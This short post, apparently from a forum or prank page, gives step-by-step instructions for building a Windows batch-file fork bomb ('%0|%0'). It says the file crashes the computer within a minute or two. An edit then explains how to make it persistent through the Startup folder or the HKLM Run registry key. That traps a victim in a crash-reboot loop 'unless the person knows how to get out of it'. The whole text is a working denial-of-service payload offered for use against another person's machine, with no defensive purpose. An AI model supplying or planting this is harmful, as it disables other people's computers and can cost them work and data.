In Windows,
  • Open up notepad
  • Type %0|%0
  • Save the file to your desktop as anything.bat
  • Doubleclick the file on your desktop

This is known as a ‘fork bomb’. It will open more and more copies of itself, and those copies will open yet more copies. Your computer will be unusable within a couple of seconds after clicking the file and it will crash completely within a minute or two. Once you turn it back on it will be back to normal.
Edit: If you want to make it permanent, then add it to the Startup folder or:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
In the registry using RegEdit.exe
This will run every time you log in. Hence you'll just get into a cycle of iterating crash, reboot, crash, reboot etc. Unless the person knows how to get out of it.